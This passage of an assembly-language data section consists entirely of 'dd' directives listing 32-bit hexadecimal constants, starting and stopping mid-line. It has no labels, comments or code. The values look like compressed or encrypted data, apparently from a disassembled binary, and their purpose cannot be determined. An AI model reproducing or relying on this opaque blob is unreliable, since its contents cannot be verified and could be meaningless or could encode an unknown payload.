0F0043150h, 8A607F0Ch dd 0F7C2FD81h, 0B1A0A0A2h, 781560D9h, 0F2D5544Ah, 5E94060Dh dd 0C8404126h, 191DD425h, 10DBA44Dh, 1C38F4BAh, 1B89FD05h dd 0C84A7F53h, 59809882h, 0AB954FA0h, 583E0904h, 0FCA0CBFCh dd 72D30BC7h, 7F3F390Ch, 3E4917Dh, 91C99F1Eh, 7809CFA9h dd 390BB6Ah, 8E04F564h, 3CF03D58h, 9C007448h, 3AFCAA2Dh dd 8031D26Ch, 1AA82848h, 11685E11h, 7311A3B1h, 10DC1282h dd 8C4057EDh, 0D61084D5h, 0C01049AAh, 7060701h, 38A39E4Dh dd 80FE8083h, 8F190042h, 5A7BC782h, 79F6A335h, 1263100Fh dd 3BBDBD40h, 0D4F0809Eh, 0E606B991h, 777400FCh, 43686E8Eh dd 141C27F6h, 3200F15Fh, 961B4980h, 0F0A200BBh, 744B0F9Bh dd 0BC03C566h, 4FDE3962h, 1D5EE0BFh, 69100DFh, 1771837Fh dd 9300D5DBh, 1B69505Fh, 0F336FAh, 8744BA78h, 0FFB5BB9Ch dd 75B7C600h, 0CEA5E3EAh, 40DB0049h, 167EBD6Dh, 0B4C9754h dd 1925EFh, 6C5C8810h, 0DAB0034h, 956D1F16h, 701A80Eh dd 0CF41464Eh, 0C3C22E4Ah, 2FAB1D7h, 25B3E8h, 47A2767Bh dd 0BAA83A6Fh, 0AC5D0C00h, 0A5D94C06h, 84CA30F0h, 0DFEF6360h dd 1DC32807h, 8E303A2Eh, 0A146E9h, 0D74ED345h, 251895FDh dd 0DE79DD00h, 35E1F965h, 436F001Ch, 0D3EE4A01h, 0E00F2D8Bh dd 20177257h, 0F633DAC9h, 51EF00C3h, 4E9C0156h, 9EC02AB9h dd 0D00A5B68h, 1AF000BCh, 77697A6Ch, 4705F14Ch, 5B7F14CAh dd 493F9300h, 7BB85452h, 9AE200A5h, 8BB31C68h, 310098CFh dd 0F451DF03h, 857056h, 743F0989h, 21D273D6h, 0EEA1B0Fh dd 9B0B4Bh, 0BF93E3E1h, 9D19004Ch, 956C08F7h, 821C4B2Ch dd 26808B01h, 1ED6A357h, 38F7006Ah, 0B73D5AC2h, 1100CE06h dd 5A44B43h, 45F2Dh, 0C9CA3246h, 6E4D8F0Fh, 57E2BF00h dd 4E95CFB4h, 4F230E93h, 1E82E59Fh, 2CC0C2A3h, 0F400444Bh dd 0ECD00DB1h, 5F6A6h, 9C8F7395h, 539D2F06h, 7FD12B0Ch dd 0CFD07Ch, 926B786Ah, 2AEF5A18h, 164648h, 8BD147C5h dd 3D45407Ch, 9F8F6CB8h, 3007504h, 0DBC77443h, 0EB31DF00h dd 0C453E8CBh, 95FF005Ch, 0B701B489h, 1FE00F97h, 0E2F2B11Ch dd 7D493500h, 3F347248h, 6D80C2B3h, 2AC3B0DEh, 3005131h dd 6C2BDF3Bh, 4C1728B6h, 25007F71h, 99407832h, 6239D1ADh dd 0C1798327h, 84DA1088h, 0AF123494h, 699D8840h, 0D8913Fh dd 941ED437h, 6A39F0C7h, 1336500h, 7BE8F6D5h, 0FC4C50B6h dd 697D1C1Dh, 6E250042h, 850FB5F7h, 0D595ED00h, 5E567F3Ah dd 545805F8h, 1C556120h, 0D141C5A2h, 31B800DDh, 329370FCh dd 0A5B7E600h, 0EB910CB6h, 3CFAADh, 2EC1B01Eh, 338109A6h dd 0D1267400h, 0C9EC552Ah, 3EB70E65h, 0C07FC45Ch, 0BECDC629h dd 0D54C99A1h, 21A20088h, 7E19F990h, 0BBE08Eh, 0A87520DFh dd 4ADCE886h, 0DAB2AD1Fh, 0ECE23587h, 994E0139h, 0BEC8775Eh dd 6EB900A5h, 0E3952D61h, 8C038668h, 9D029B8Fh, 7884009Fh dd 6DDF87D2h, 200072F3h, 4678ADAh, 2AE76CAAh, 19C0641h dd 0D687765Dh, 8064F472h, 11DF31ECh, 149A4148h, 0D3E907CBh dd 5E8F3F00h, 0C955F16Bh, 0A8532500h, 6DECD968h, 0ACA4A047h dd 0CCE500B4h, 1439B904h, 0AD009CDFh, 91DE715Fh, 13D7D56Dh dd 0E1AA0Ch, 0BB29FE70h, 89019628h, 0FBBF9FCEh, 3302407h dd 0BD511225h, 324A0077h, 0CDB43DE3h, 89E4D890h, 0F9FAF006h dd 265CE8A5h, 9ECED8Bh, 0FE833746h, 23A8430Ch, 6F3D57E5h dd 31EB00B9h, 4F64422Bh, 71F07Ah, 63505AB0h, 0AB65E77Dh dd 3C270B48h, 0B9728015h, 0EC0585F5h, 9B7A0061h, 0AE020678h dd 73002FF6h, 805EE9BCh, 1D1E5CC3h, 49DC407Eh, 800249Bh dd 2B060818h, 2EC8C002h, 0E03A0235h, 9FD74Eh, 6399271Fh dd 2B2A50AFh, 0AAEB1707h, 0B2707425h, 948BA9h, 5C98B342h dd 311E3E3Ah, 0ACDD2F17h dd 809F7D0Eh, 0F791882Ah, 0E1E3006Ah, 0C7614856h, 2C002BE9h dd 0D8D46D26h, 0E044F35Fh, 0F5EC000Ah, 98631DE2h, 0B33C22F1h dd 0FBAA0032h, 5DCB6A77h, 20591CFEh, 0B9BB403Ch, 71CFCEE0h dd 0E409622Ch, 99F4E780h, 0D7743h, 0AD2E341Bh, 279D5825h dd 0EB5E3Fh, 1F81524Ch, 0E3D0489h, 0D19CF138h, 0B6800F0Bh dd 0B8711AECh, 13F7C600h, 0B095188Ah, 0DC7500D7h, 0AEBE50C8h dd 1001108h, 0C2EF3125h, 969F80h, 0D88D852Fh, 0E4E1BEF9h dd 23B44200h, 0C3D34BB6h, 26B200E9h, 0FEC1D237h, 0D40F92C9h dd 452E361Ch, 62802A7Ah, 7F2B8E14h, 8874D0h, 0C138A46Ah dd 939D9BBh, 0B2CCD207h, 0A2D0B1B3h, 24B782BDh, 2CC1BDBh dd 80A76936h, 4C9302E0h, 1DA1F00h, 5DEAB951h, 528001Eh dd 784B6444h, 6E43CA9h, 9EE7F000h, 568B8218h, 0D4230074h dd 0DDCB5DA0h, 0CC92A30Dh, 6021F10Bh, 0C48C00ECh, 5D44EDh dd 0D8548C1Ch, 1224C627h, 970A25h, 8D18420h, 0F4AFAF5h dd 0DB9663C8h, 46A3B000h, 5478CAEDh, 747E3026h, 0DA50D200h dd 0C6DBAC3h, 9FE29166h, 3B00B249h, 964DCAB8h, 0B790Eh dd 0BE0DF51Dh, 78173634h, 3DF4854Ch, 58BC808Ah, 0EE2F704Eh dd 0CBB80090h, 21E0EFE7h, 79019A91h, 0E4CE07A0h, 0FBECDE97h dd 0D58D0058h, 0A3BB5E3Eh, 335808A4h, 0C6E401A5h, 0BC5CB2Ch dd 0D56260h, 9E1420E9h, 84C171CAh, 0DC1D5098h, 0A11D5CE4h dd 0E21C490Eh, 505DE9CCh, 5980920h, 7860D4D6h, 0F64D3EBEh dd 0C4FC0060h, 642BD99Bh, 0AA1702A8h, 0A3093489h, 0ED025C60h dd 30E8A701h, 96E00E82h, 0F3A09047h, 72A44004h, 41AF00F9h dd 5930F70Ah, 0E1053348h, 4BA26475h, 91798CC0h, 1107000Dh dd 0DE1E5B80h, 7C60474Ah, 0FE45A598h, 504901DAh, 78856CB4h dd 0C133E866h, 0FDAC3100h, 5B387D4h, 6170094h, 0C97D5295h dd 0A40E5632h, 6D28E9h, 6ADA430Dh, 0FFC00B2h, 6827F69Eh dd 0D8F3B383h, 52012338h, 0D3B61F6Dh, 0B62053E0h, 24B5E4CDh dd 16C37F1h, 5776A4B7h, 0AAF0741Bh, 0EEF73F07h, 74E05484h dd 0E086C2CFh, 38B40096h, 0D55BADB8h, 6004E09h, 0A55AC4DCh dd 0EB4F7626h, 9907B850h, 0BCF20132h, 0F77FDA13h, 679DE87Eh dd 202CC12Ch, 11EB5409h, 0A0DB4048h, 0B501E8h, 0A6E729B8h dd 4765D0A4h, 303B480h, 1B7DA257h, 26D0A54Dh, 0B00022ABh dd 613229F6h, 3C3420BDh, 0A23FB58Eh, 0FB633300h, 0CD4B4D87h dd 48008CFAh, 0E39E86C9h, 1736F7A9h, 8072D479h, 34CAD60h dd 3D1C26F0h, 0E46E86D8h, 981CC2BEh, 968D80D3h, 29884A18h dd 9C00E6F0h, 0DF3ACCD6h, 6036BC16h, 0D82030A6h, 91000407h dd 6AAAB333h, 3A10994Fh, 5A00E0DBh, 50E62847h, 97720614h dd 7DE30900h, 8F3B4B0Fh, 8D5B1831h, 0D6B5F82Bh, 0A2683F01h dd 0DABAB01Ah, 0B27460h, 8296BB9Ch, 198F1F04h, 0CDAF7200h dd 25106CA6h, 2BD1A046h, 0BCCC009Eh, 0E4D0B1D9h, 0E2006ECBh dd 0D6090FD4h, 12A9FAA3h, 3B959Fh, 84FD0374h, 14052B97h dd 295EE364h, 0C3E5B0C0h, 0F7C4005Bh, 73254ED9h, 0C700E89Ah dd 0EC07A42Fh, 1D6F387h, 0DDCEA295h, 0D8383204h, 6E8767Ah dd 7BE7F900h, 646B98FFh, 1903004Ah, 88B3922Ch, 28E05BE5h dd 0C8187224h, 6C0FD901h, 0C1D8DA95h, 7B3F00E2h, 44DF6745h dd 87301AC7h, 20EB581Eh, 8FE5029Bh, 96694E07h, 0ECC0D4C2h dd 7940065Bh, 70584BC0h, 0C14A2350h, 0EF28EA07h, 5D73EBDCh dd 86AAA812h, 0F926006Ch, 1EF37E5Ah, 0CC00FE05h, 83C07685h dd 8E5575h, 0D5273BF0h, 205CAF4Dh, 0C60EC807h, 0F77377C4h dd 0E7B5E8E2h, 0FBB00273h, 0A04B948Ch, 1FCA7540h, 4D270D00h dd 49DEABAAh, 0D7A803E5h, 17E1EE8Bh, 73CFDA90h, 59BCAC00h dd 853FFFCDh, 5F7E001Bh, 56480D79h, 3300A4AAh, 0DA8943D7h dd 3BB8E8h, 0C2E1601Fh, 57B01B26h, 3300B7B8h, 5B7606E2h dd 0F67BEDh, 0AC7AE7F5h, 0E0E87E45h, 0DC00167Dh, 5105650Eh dd 88A186h, 0CE9A84ADh, 0B28B98BBh, 3400F170h, 0FCA81D7Ch dd 46D2D7h, 0ED047E0Eh, 0FA06C85h, 0D98ED400h, 3D3EBB94h dd 0F301137Ch, 0FB670E46h, 843192A0h, 781F25D4h, 79C0A8ECh dd 3A3B8E95h, 0DF900094h, 0C20F3E82h, 8800369Fh, 543747DEh dd 0CFE7FF5h, 0F72AE6C6h, 500097D8h, 0AD12704h, 3B6FA8C3h dd 0F28040A1h, 2DEA25BDh, 9A000D3Ah, 99C42F9Fh, 0AA93B4h dd 666F4E5Dh, 0DB4AB141h, 0DF07B7F0h, 7E0A7D14h, 44EAD6D0h dd 63131D8Dh, 8076DF4Dh, 8129B29Fh, 73000888h, 2744C518h dd 30F306h, 0D8B3E4EDh, 0C7A7E083h, 2654B500h, 0FB32EE8Fh dd 1857093Dh, 200EDB5Ch, 2B11961h, 1BEA70F7h, 0ABBED100h dd 91062ECBh, 4C510772h, 73DDC3h, 234793D3h, 0EF7E7903h dd 808C0EBFh, 7FB09Dh, 0D85A3D53h, 0C5F76FD0h, 5E0552F0h dd 0D63D2DAh, 3378FD04h, 56806487h, 0F6D84E35h, 0A18900B7h dd 0E89434A5h, 593E75BDh, 0AB9A0033h, 0B27FF966h, 7D9900C8h dd 87B9D3E5h, 0B1277CBh, 51110C7Ah, 0AFEF03A0h, 0E8623B2Ch dd 7072881h, 80ABC88Dh, 93B370A4h, 0DC0092FCh, 0F685F3DFh dd 3F1E3FFh, 0F032275Ah, 7AC8AF65h, 6F0EB872h, 807C4826h dd 44DC94DDh, 6AD200C4h, 0B3AC640Dh, 0AD0371A5h, 385CF381h dd 7BD9E03Bh, 0CE11033Fh, 0B2AB895Eh, 949C6BD0h, 0E9E7DA01h dd 82D0C1BCh, 95ABAF0h, 0A9B06D21h, 8CC67B00h, 32381FFFh dd 0BEE400FEh, 0D5CD1780h, 0C3590783h, 30EF7451h, 0D4409261h dd 3A695D00h, 70AC0B49h, 58503ADh, 136B2BE2h, 0D8A0FFDBh dd 0C70152A5h, 545D3DD3h, 0E0D7AF51h, 0F727F6Ah, 97B341D2h dd 9EFD3940h, 762624DAh, 0DD000C58h, 0B028C6BFh, 1FCD3B7Ch dd 0EF0B2500h, 0A53E8D55h, 0EB6B020Bh, 2E54014Dh, 0F4CC3D19h dd 967050h, 0BF4F7377h, 0A616AD44h, 7A654900h, 5A2311D5h dd 6140003Ch, 0E26045A1h, 37009558h, 0A6A8B386h, 445490h dd 9899DD73h, 275247B9h, 9FAC9B00h, 30539563h, 0F88900D7h dd 435020CEh, 1800384Bh, 21D28E6Dh, 24BF25B5h, 2CFB33h dd 8C06FE1Dh, 8B00F7B7h, 0BB343565h, 0BCC19Dh, 92FF17C4h dd 6741F003h, 0C8767B03h, 0E86C82CAh, 122CF50Bh, 806E56h dd 62FC8138h, 3F0067FEh, 6FAAE1DDh, 0F5877Dh, 482733B0h dd 0B91D5D85h, 28EB7726h, 0A896EA00h, 3F76B439h, 798557F0h dd 8035FD8Bh, 0D53E8081h, 3C9AF638h, 6AC28082h, 0B9364174h dd 9D84037Ch, 2A6B8B8Dh, 51A7D2A0h, 0E7860500h, 48E0E4C3h dd 5EC201E6h, 323AD08Ah, 7AB7CCFDh, 0E72C5D1Dh, 41982D40h dd 0CD74CBh, 0A5452E11h, 614A8768h, 77609F05h, 8085805Eh dd 0ABAEE280h, 165D01A2h, 8E15DBEAh, 8B3FE00Ah, 0C6CCB102h dd 0C1EB19F8h, 74FC7145h, 3868006Dh, 900E801Ch, 0CA05996Ah dd 0DC7AC4ECh, 872A8780h, 32E101DEh, 26CF338Fh, 8816BF1h dd 90E3256Bh, 487869Dh, 0AF960C2Ch, 4EEB8012h, 0C600D08Fh dd 3EB202B8h, 0A6374Bh, 3042109Ah, 92B77EE1h, 5A01D57Ch dd 9C9EAAB1h, 9DC4E922h, 0AEF6C9h, 164C2FB5h, 3AD21081h dd 1056600h, 0B348A668h, 0D6E700A2h, 0A16B3685h, 0A979E865h dd 34409100h, 791E041Dh, 5E9A07C1h, 0C08CA5ECh, 312C4A5Ah dd 383CCF00h, 5F34A8F2h, 0CAF13B66h, 1819C600h, 67147795h dd 4B45C00h, 0E21B0702h, 83780F6Eh, 18C36603h, 80D8B0E4h dd 7B001F2Dh, 0D00A5CACh dd 0B46F9DFh, 0C082F3A0h, 7649EE80h, 4C0089BFh, 0C2F28FADh dd 3B203573h, 0C1008384h, 247F2D1Fh, 0D100F825h, 4A454FC5h dd 1B13DEh, 0ADB7DD1Ch, 8E5ACCA8h, 7C17548h, 0E7B95B9h dd 0B68C2160h, 67F50098h, 0BBBCD7B7h, 44005902h, 1026AC12h dd 0BD820Ch, 0BA65D147h, 668E507Ch, 5A6F741Ch, 0E760DC41h dd 0C0CC8BA7h, 26F50F81h, 1D075DE4h, 945ED071h, 89383A8Ch dd 45410AACh, 4B1F9E2Eh, 6408B140h, 0FFA428Eh, 6D4EEC32h dd 0FEC76903h, 668FF288h, 3A3CFB7Fh, 9A108E95h, 8051ECA0h dd 277D1EA3h, 76FC65h, 0A2E061CAh, 0CEE3B42Ah, 1E0DC03Eh dd 810062A1h, 30F1C856h, 7C140094h, 0A3ACDBB6h, 8277040Ah dd 89E69903h, 0AB3A538Ch, 5BC0DD81h, 8D6541h, 0AB46FB59h dd 47E08835h, 0EF859000h, 430133A2h, 49CC07E6h, 61DCF3B9h dd 805F5BD6h, 0C6F58E90h, 0C0C2A40Bh, 0B4291C98h, 41E29AE1h dd 0D4DBC1C0h, 0D9D98h, 6FC15A01h, 582A035Fh, 2B533200h dd 256F21Ah, 73477B6Dh, 96080067h, 55A043B4h, 0FC00B854h dd 884A3698h, 3A9D73Ch, 0B3239566h, 2EF8ACD5h, 290489E0h dd 80553307h, 14D39E80h, 0C5F60490h, 0C0C309A3h, 769B4C10h dd 46B96660h, 1EDB11Fh, 1A6479DCh, 0D1BF01E6h, 8521BF67h dd 36F3CB07h, 43F2C603h, 0F80EFB38h, 7089070h, 1F501847h dd 22F49059h, 0EF0068E8h, 511A2024h, 3FDC38Ah, 55A69080h dd 7803888Ch, 4ADB95E8h, 0C8F2B0CAh, 305C60FAh, 738E5EDEh dd 0D9CB710Ch, 3E652047h, 9F9464A4h, 0ABE32053h, 22EA61F4h dd 0C984744Bh, 96BD300Dh, 0B0F9604Eh, 7DE0505Bh, 807E49h dd 22C8E330h, 183BFAFBh, 81FA35Fh, 20C0654Ah, 93C8A9DAh dd 0E420A2Dh, 9A7675h, 17CA7A6Dh, 6B501047h, 6E7C2394h dd 0F879E660h, 0AA77E74Ch, 0F1B0C054h, 0BFD92ADCh, 1BCA4454h dd 0E8B0D330h, 302810CBh, 0F481317Dh, 0F53EFDE0h, 0CCED807Bh dd 0FB4AB607h, 7F300081h, 8EEF7D9Dh, 190077C2h, 8B0918A8h dd 0A82D39CBh, 67843DB4h, 428C89C6h, 0B8AF63D3h, 548E2E00h dd 3200A2FFh, 1A9ADFB4h, 9220D860h, 8AD901C8h, 724D6B54h dd 8F6C604Fh, 5B6E4107h, 0CBA016A2h, 0C6C8B3CDh, 39FC8569h dd 637E0509h, 5EFC00F1h, 0A67CDE50h, 0C8AD04B8h, 384AFE8Ch dd 0C8FB00D0h, 2BB53DA0h, 0B49118EBh, 10084318h, 0C3AD008Dh dd 9E163A94h, 19C556FEh, 0BC088AEBh, 0CB09C081h, 6AE8D3CFh dd 0F1358B85h, 8B0FA301h, 2114F448h, 6145C30Eh, 3100B4Dh dd 18180713h, 597281D9h, 0AA019333h, 0EE6FA31Eh, 4870768Ah dd 94810077h, 90DF9EACh, 590139AEh, 0B6F31A7Ah, 88400AE6h dd 4036910h, 23EA7257h, 3D84C8DCh, 8D749E05h, 0D4086110h dd 5427C0D6h, 8A10A2FAh, 2B88D85Fh, 5497E480h, 9A8D812Dh dd 571154Ch, 4C518CB8h, 2F7E7801h, 2A9FB450h, 0E34014Fh dd 7A84906Dh, 1274CCFDh, 8FCF4106h, 5416BE3h, 61179AACh dd 303D849Dh, 1CA45C4h, 7B46ED00h, 8F0806B0h, 0F0E33094h dd 0A6E8B1E9h, 0FEEF2000h, 4ED01439h, 0C057E83Ah, 0B4E1C741h dd 0CE24D515h, 0F1407879h, 53D103h, 6221780Ch, 746459ADh dd 8E39CCE9h, 3371C302h, 8E179648h, 8D801194h, 1AA2F854h dd 34226043h, 54964E1Dh, 7477F4C0h, 0B9036h, 0B9FE4DFDh dd 5AA15D70h, 6920B400h, 3B9D2372h, 0C0E57C01h, 0E44FD7B1h dd 0F3011CD2h, 21AE74B7h, 0F06F56D4h, 9E0F40F0h, 0F20C686Eh dd 77547C27h, 27C8FE30h, 11F2FB23h, 0A6450044h, 86778C8h dd 0A5E0090h, 1D8D73C3h, 0E4E0DAE9h, 2AB244A0h, 2B9C1906h dd 732431F1h, 6988603Ah, 28258238h, 0F9563E00h, 47F8DCB1h dd 5C9284h, 0DF0863E6h, 0A12899FAh, 4DB47200h, 91B01B7Fh dd 0F44B05F1h, 60908FFDh, 0ACA8FCE4h, 38DEE910h, 338055C8h dd 5708A6F5h, 1BC917Fh, 2C046374h, 8A9147DAh, 7DE58888h dd 0BDC8AC60h, 75E246FBh, 72D76440h, 0F424009Ah, 0FF4E8376h dd 7D011F78h, 668DFED8h, 0FC4C8875h, 0FD810444h, 325F82A2h dd 88E32032h, 0EE001654h, 3DA9CABBh, 0C905C2D4h, 0E88027E1h dd 230E07D3h, 957A6876h, 0F8E4264Ch, 0D4008CCEh, 190C1463h dd 34F035h, 98997090h, 72AB97F9h, 0F3E4F51Ch, 9FB9586h dd 920E0120h, 0E3831ADAh, 1BAC5094h, 237C30F8h, 0DB35CC0Ch dd 35E196Fh, 0E6D52F26h, 158033B1h, 2D009B79h, 0C7B43D7Ah dd 4FD2B24h, 0DAE0FA89h, 9030D00Eh, 6B60A46Dh, 7183DBC9h dd 32E0125h, 0C6EA959Fh, 7485FA07h, 82B49BF8h, 0A45772E0h dd 0B08075F0h, 2C89AB03h, 0A1405B45h, 182679DCh, 7CF3182Ah dd 0AF50C940h, 0A5E04900h, 55CA53BCh, 377F6CDh, 0BF3A5D42h dd 75A8F9F7h, 0EBF7FEC8h, 2C32C10Fh, 69C9E041h, 0BD457E9h dd 604034BDh, 0E6F10C80h, 1B7C5C94h, 0CE7C124h, 842F0B92h dd 7D01B923h, 0ABBE9855h, 2852AC5Ah, 0CD30CCE2h, 0B93700F2h dd 0B189B599h, 0DB305EF3h, 9607968h, 912D0041h, 9E8477E2h dd 450015BFh, 690E731Ah, 26D45107h, 33EF47Fh, 2B5AB8C0h dd 0C1CDDCF8h, 746358h, 24F51850h, 7F603D35h, 7AF90061h dd 0CA9DEEA0h, 29006F82h, 0EC5AA90Ch, 6C6417h, 83067C2Ah dd 0C6F3EF0Eh, 3B2F9400h, 5FC46B24h, 0F9F80Ah, 7E68E027h dd 980CA783h, 1870958h, 3EC085A0h, 90F4CB37h, 0CDA200D3h dd 6B662182h, 0D905B7D1h, 0A127D94h, 36D6CEC0h, 577400B3h dd 216BDBCh, 8FEEC603h, 0AE289700h, 177CA779h, 0FFF50FB1h dd 7BA08093h, 0E2E3F042h, 82004E76h, 1158246Ah, 0E55D44h dd 0EFFE4839h, 6FAF236Ch, 0E91C3200h, 0B9F7B698h, 0C70C0045h dd 17DB4D3Dh, 0F1000477h, 0B3A7E6CFh, 1A94CAh, 0FD3ABDAFh dd 68B0B235h, 0A3597F00h, 4B2E3390h, 21390042h, 0E3EA8AE7h dd 850B8346h, 1F5D9Dh, 22C2ADCEh, 0BE737Ah, 6FD9C726h dd 99A4ED12h, 85E4F700h, 7CDC7946h, 7F17B49h, 1FC9E720h dd 0EA94001Ch, 2E0142AEh, 35379154h, 71CCFCD2h, 927B006Dh dd 3183E433h, 9C3DBF8Fh, 0BDD900FEh, 0DB455D11h, 33CF442h dd 0DC9455B4h, 0C80F164h, 0BF00BD57h, 2C90B1D3h, 440465h dd 0AF4BCB8Bh, 0DFC9F106h, 0A398DC1Bh, 7BCA8B4Eh, 0B7041E80h dd 0C03F9E2Ch, 57104861h, 0CB00D809h, 0B3BC7949h, 0F041CCh dd 0A181C39Ah, 9F05567Fh, 3E6E5D00h, 72F1689Eh, 12C0A006h dd 0F2CDA0BBh, 24E00E1h, 47D0012Ch, 2D3071BCh, 374F8005h dd 1CA90E86h, 0FE00E2C6h, 9FAC8C28h, 9631B200h, 0B3E810A2h dd 2D661EB4h, 876EC02Ch, 0C0FE4EE5h, 75799013h, 42E72203h dd 8063927Eh, 97CF5C80h, 0C4EC18D3h, 8506C069h, 0A91880C0h dd 371D83h, 9B398D55h, 90D05C8h, 0D655ADF0h, 31B8E0A0h dd 63F6DC00h, 98F2E26Dh, 0BCA10EC4h, 8AEEA850h, 47A4FE20h dd 657D8F6Bh, 0CC305303h, 0D0F413BEh, 0FC255CDFh, 0ACAB004Ch dd 4AD3AE1Fh, 0F01F81D0h, 0B45E0490h, 4E996900h, 3F3060h dd 0E7635B49h, 76A442Fh, 4029C430h, 7A66BCCCh, 0C6300025h dd 83D6E7EAh, 147FC5AEh, 24D0F400h, 4799529Eh, 614D01ABh dd 48B74AF3h, 0A4C04054h, 0F53FEE31h, 360700ECh, 7BBF8AE0h dd 0A61A00D7h, 0DC113F18h, 0D100E8E2h, 0F15F5194h, 1E02BA5h dd 81EBC3E9h, 0CC22BD5Ch, 7D0F3EDCh, 53319FE8h, 52DD0503h dd 59DEF8h, 42B96904h, 0C1F32385h, 0C9782128h, 0E5C41B00h dd 34C6C043h, 6BA00087h dd 8966980Fh, 0EB60158Dh, 704E4540h, 809D04D4h, 0C62A31AEh dd 0E90E581Bh, 98DDA3A4h, 7FDBE28h, 30339F44h, 0D0B78069h dd 98003180h, 0E02F88C3h, 637B898Dh, 3ADD6094h, 8B3606D8h dd 59EBFC00h, 11D567C9h, 76240018h, 60FEDD2Ah, 0BB00A473h dd 67CAB8FAh, 14C41A06h, 20DEFF8Dh, 1879B7E1h, 4CEA2671h dd 0D1379Ch, 8B512F8Ah, 2C727506h, 3008A1B3h, 0D520DDD4h dd 16092F02h, 0D1CC84h, 0C35E5EBh, 0CE5A305Bh, 885607F9h dd 0AD3F4F01h, 0B553C1D1h, 88B90995h, 4ECDF600h, 660D8736h dd 25393F60h, 0A8A3F2h, 3E1901D6h, 0EA6E2A77h, 508E102Ah dd 7D2F061Eh, 0D9881551h, 2F7ED187h, 45D8E200h, 0D620006Fh dd 283D1740h, 0BF016070h, 8B872CDAh, 83D2B064h, 92D9F98Ch dd 55C481D7h, 80F6B3FDh, 5B76DAA8h, 6F5F01EAh, 4E8983A4h dd 0E089802Ah, 9579A7B3h, 7C9B1EBAh, 846982FFh, 84B0785Bh dd 35083DBEh, 64DCC1ADh, 0E63444BDh, 4BCAA580h, 2D201F3Eh dd 5508CCA9h, 1010F798h, 0DD06C2B3h, 1849406Ch, 85360406h dd 286901F2h, 1D950A7h, 61AF72F9h, 0D1B1EFD1h, 3C882489h dd 94647F00h, 0DF886E8Ch, 0A73600A5h, 2A4D706Bh, 8FEDE8D4h dd 606CCBB1h, 0BD81F706h, 50F0C099h, 0A9E18E89h, 30007AE6h dd 25A213AAh, 7B794A4h, 50451FB5h, 2D8AD006h, 35EC9DD0h dd 0F865BA00h, 0D166152Eh, 0C55900A7h, 7F923EE3h, 991663B8h dd 8107E770h, 0E02F6888h, 0A50730A9h, 0B9F200F3h, 9285F9F1h dd 0ECF4E9C9h, 969B8E3Ch, 211E4780h, 0B356B740h, 0AC99D4h dd 90A0586Eh, 1A36A68Ch, 2EFB2001h, 53CE91A9h, 3ED1F8EBh dd 669F1FC1h, 0BD1030A2h, 0F77D7930h, 6E000DFCh, 4B88522h dd 0B563E287h, 0E49097D8h, 4F5E1305h, 25856EC8h, 0D2BFE100h dd 183AFAD0h, 616D4350h, 9C3AAA0h, 7AC12ECDh, 3DB49810h dd 5300DFF6h, 6775FBFDh, 9B00A786h, 1C4BCE38h, 7DA0977Fh dd 9129DF01h, 0A9447AE3h, 5D22844Fh, 0FE2B2287h, 10932622h dd 1180E303h, 7F2172A7h, 94ABC308h, 9D082807h, 0E308F592h dd 0AE3900E1h, 760BA93Bh, 0BCF96A0Eh, 80CA044h, 0DB4AAFh dd 0F1856CF7h, 0AC0691BEh, 0F0004FB0h, 34C2EB5Ah, 1F8977E1h dd 0C1833779h, 0B978387Bh, 0C1F9FCDBh, 2068C41Fh, 3CEEF300h dd 1D5B0Ah, 132FF1B0h, 0D62B16DFh, 0BA6B3100h, 0EF074B51h dd 0F2A600DBh, 0F665C6C7h, 0F8002D0Ch, 0EB0D6412h, 7F29E8h dd 87A2795Ch, 96935D4Dh, 341D7107h, 0B26560A8h, 12C1AC1Eh dd 0AC208B83h, 0B02F0CD5h, 9600FAC3h, 519F937h, 17BA8ECh dd 0C795F0Eh, 0CC4CEF18h, 2CF2F37Ch, 195E900h, 83A539E4h dd 9792005Dh, 0E3E00719h, 0E01EA7Ch, 68445E8Eh, 40DC1DDAh dd 945F0FB6h, 0D380C83Eh, 5907528Ah, 0BE060A00h, 7842DFA5h dd 58970138h, 0B9C93AC2h, 0A898E392h, 141CFE62h, 32C03748h dd 0E0522DCDh, 8FEE39D3h, 0CE8C6700h, 4975A75Fh, 81A47A00h dd 0FD126416h, 0F48E8A1h, 0FFF738Bh, 2B3AD0C0h, 0C5006B5Bh dd 9A03D16Eh, 1C87DCFh, 0C35FDA84h, 0D8549939h, 0E900B8D6h dd 22A36B1Ah, 302146Eh, 0AF5173C4h, 74D09A3Ch, 4900C52Ch dd 0D7DE419Eh, 162A28Dh, 1CA71526h, 0FCA1DA35h, 5D2473CDh dd 0B4099CD4h, 963680A0h, 60DD58B9h, 0EDB050B8h, 48C0BD40h dd 96CA25DCh, 380C07ECh, 32C6A6A7h, 11E03FC2h, 0B7010E97h dd 23871392h, 5B31B853h, 251EB040h, 32CB01C2h, 4767A838h dd 3ED96057h, 0D662BC05h, 72C0E641h, 0CF535Bh, 0D2E24782h dd 0BC5EECEh, 7C24781Ch, 1086EB01h, 0A4DC5497h, 0DFC002E6h dd 7E153AE5h, 81878D40h, 5F475700h, 0AEEF4BA6h, 3A05006Bh dd 14931337h, 0EB01778Ah, 6D6CF4CBh, 69DC62A9h, 542D03B7h dd 19C717FBh, 94B2F2E0h, 4DC1E500h, 90B89B34h, 44910742h dd 10C65AC3h, 371EF1A4h, 0BA9D9505h, 80EAE8F0h, 0C7250737h dd 1939DE00h, 0A0DBE7CFh, 69650005h, 33F4AAD3h, 0B30E5B83h dd 4196721Ch, 0FA45D75Fh, 3FDE270h, 5449929Fh, 59E003F5h dd 5500315Bh, 532EBE34h, 0A5260Dh, 0C17A9DA2h, 72EA5861h dd 22355A02h, 80665B3Eh, 0E9F498A8h, 6FC3C12h, 8C64E581h dd 221D5475h, 0AA500E0h, 8680B1AEh, 9DF800B6h, 0F4D6568Dh dd 8CE2D74Bh, 0C500AAFAh, 51364ADDh, 0FA3C1DEDh, 104B67F7h dd 8A278146h, 0F4A0E539h, 0D9008DF4h, 6C7197BEh, 0E5BB2137h dd 0BCFCA0DEh, 0FF023Bh, 5C0F3035h, 33FDB71Fh, 9CCFA000h dd 27B8CBB1h, 44D30252h, 7DE61BABh, 3F55E28Ah, 4631FE07h dd 0F1CF240h, 0C631E60h, 90AEF50Fh, 0B778E075h, 3CD26244h dd 5180A1D3h, 2E6A4BC1h, 1C90CB23h, 5B97EF03h, 9A4DE4h dd 14827710h, 55DFFEB8h, 1DD50D01h, 5AEAB0B7h, 50984FE8h dd 688CBAh, 9FD6AA90h, 0E70C94D1h, 3344131Eh, 4187E2DEh dd 0C3206081h, 0A1EBC9h, 8A80C150h, 88FC53D4h, 21B9D800h dd 0D3C30E7Eh, 